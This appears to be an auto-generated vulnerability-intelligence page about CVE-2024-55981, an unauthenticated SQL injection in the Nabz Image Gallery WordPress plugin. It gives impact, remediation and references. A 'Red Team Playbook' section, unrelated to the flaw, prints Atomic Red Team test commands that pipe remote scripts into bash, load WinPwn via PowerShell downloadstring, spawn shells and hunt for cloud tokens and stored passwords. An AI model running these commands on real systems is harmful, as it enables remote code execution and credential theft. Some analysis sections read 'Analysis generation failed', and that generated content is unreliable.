CVE-2024-55981
Overview
This vulnerability is a SQL Injection flaw caused by improper neutralization of special elements within SQL commands. The root cause lies in the failure of the Nabajit Roy Nabz Image Gallery plugin to sanitize user-supplied input before incorporating it into SQL queries. The affected component is the database query mechanism within Nabz Image Gallery versions up to and including v1.00, which processes input parameters without adequate validation or parameterization.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Nabajit Roy Nabz Image Gallery nabz-image-gallery allows SQL Injection.This issue affects Nabz Image Gallery: from n/a through <= v1.00.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database, potentially exposing sensitive data such as user information or configuration details. This can lead to unauthorized data disclosure and partial service disruption due to database manipulation. The absence of authentication requirements lowers the barrier for exploitation, increasing the likelihood of data breaches or unauthorized access within environments using the affected plugin.
Solution
Users should upgrade Nabz Image Gallery plugin to a version later than v1.00 where this SQL Injection vulnerability is addressed. Detailed patch information and remediation steps are available at the Patchstack advisory page: https://patchstack.com/database/Wordpress/Plugin/nabz-image-gallery/vulnerability/wordpress-nabz-image-gallery-plugin-v1-00-sql-injection-vulnerability?_s_id=cve. Applying the vendor-recommended update or disabling the vulnerable plugin until patched is advised to mitigate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability present in the Nabz Image Gallery, specifically related to improper neutralization of special elements in SQL commands, represents a significant risk to the integrity and security of the application. This SQL injection flaw allows an attacker to manipulate database queries by injecting malicious SQL code through user input fields. The vulnerability arises from the application’s failure to adequately sanitize input data, enabling unauthorized access to the database. Attackers can exploit this weakness to execute arbitrary SQL commands, potentially leading to data leakage, data modification, or even complete database compromise.
Attack vectors for this vulnerability are varied and can be executed through multiple entry points within the application. For instance, an attacker might target form fields, URL parameters, or any other input mechanisms that interact with the database. By crafting a specially designed input string that includes SQL commands, an attacker can manipulate the backend database operations. Exploitation scenarios could range from simple data retrieval, where sensitive information such as user credentials or personal data is extracted, to more severe actions like deleting records or altering data integrity. The ease of exploitation, especially in the absence of proper input validation, makes this vulnerability particularly concerning for organizations using the affected software.
The real-world impact of this vulnerability can be profound, posing significant business risks. Organizations utilizing the Nabz Image Gallery may face severe consequences if an attacker successfully exploits this flaw. Data breaches resulting from SQL injection attacks can lead to financial losses, legal ramifications, and reputational damage. The potential for sensitive data exposure, including personally identifiable information (PII), can result in compliance violations, especially with regulations such as GDPR or HIPAA. Furthermore, the cost associated with incident response, recovery, and implementing enhanced security measures can strain resources and disrupt business operations.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering and monitoring HTTP requests for malicious input. Additionally, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized. Continuous monitoring of database activity can also aid in the early detection of suspicious behavior, allowing for prompt incident response.
In conclusion, the SQL injection vulnerability in the Nabz Image Gallery poses a critical threat to organizations that utilize this software. The potential for unauthorized database access and manipulation underscores the importance of robust security measures. By understanding the technical details, potential attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats. Implementing effective detection and mitigation strategies will not only protect sensitive data but also help maintain the trust of users and stakeholders in an increasingly digital landscape.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2024-55981
Nabz Image Gallery <= v1.00 - Unauthenticated SQL Injection
|
RandomRobbieBF | 0 | 0 | 2025-01-03 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-55981 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/nabz-image-gallery/vulnerability/wordpress-nabz-image-gallery-plugin-v1-00-sql-injection-vulnerability?_s_id=cve |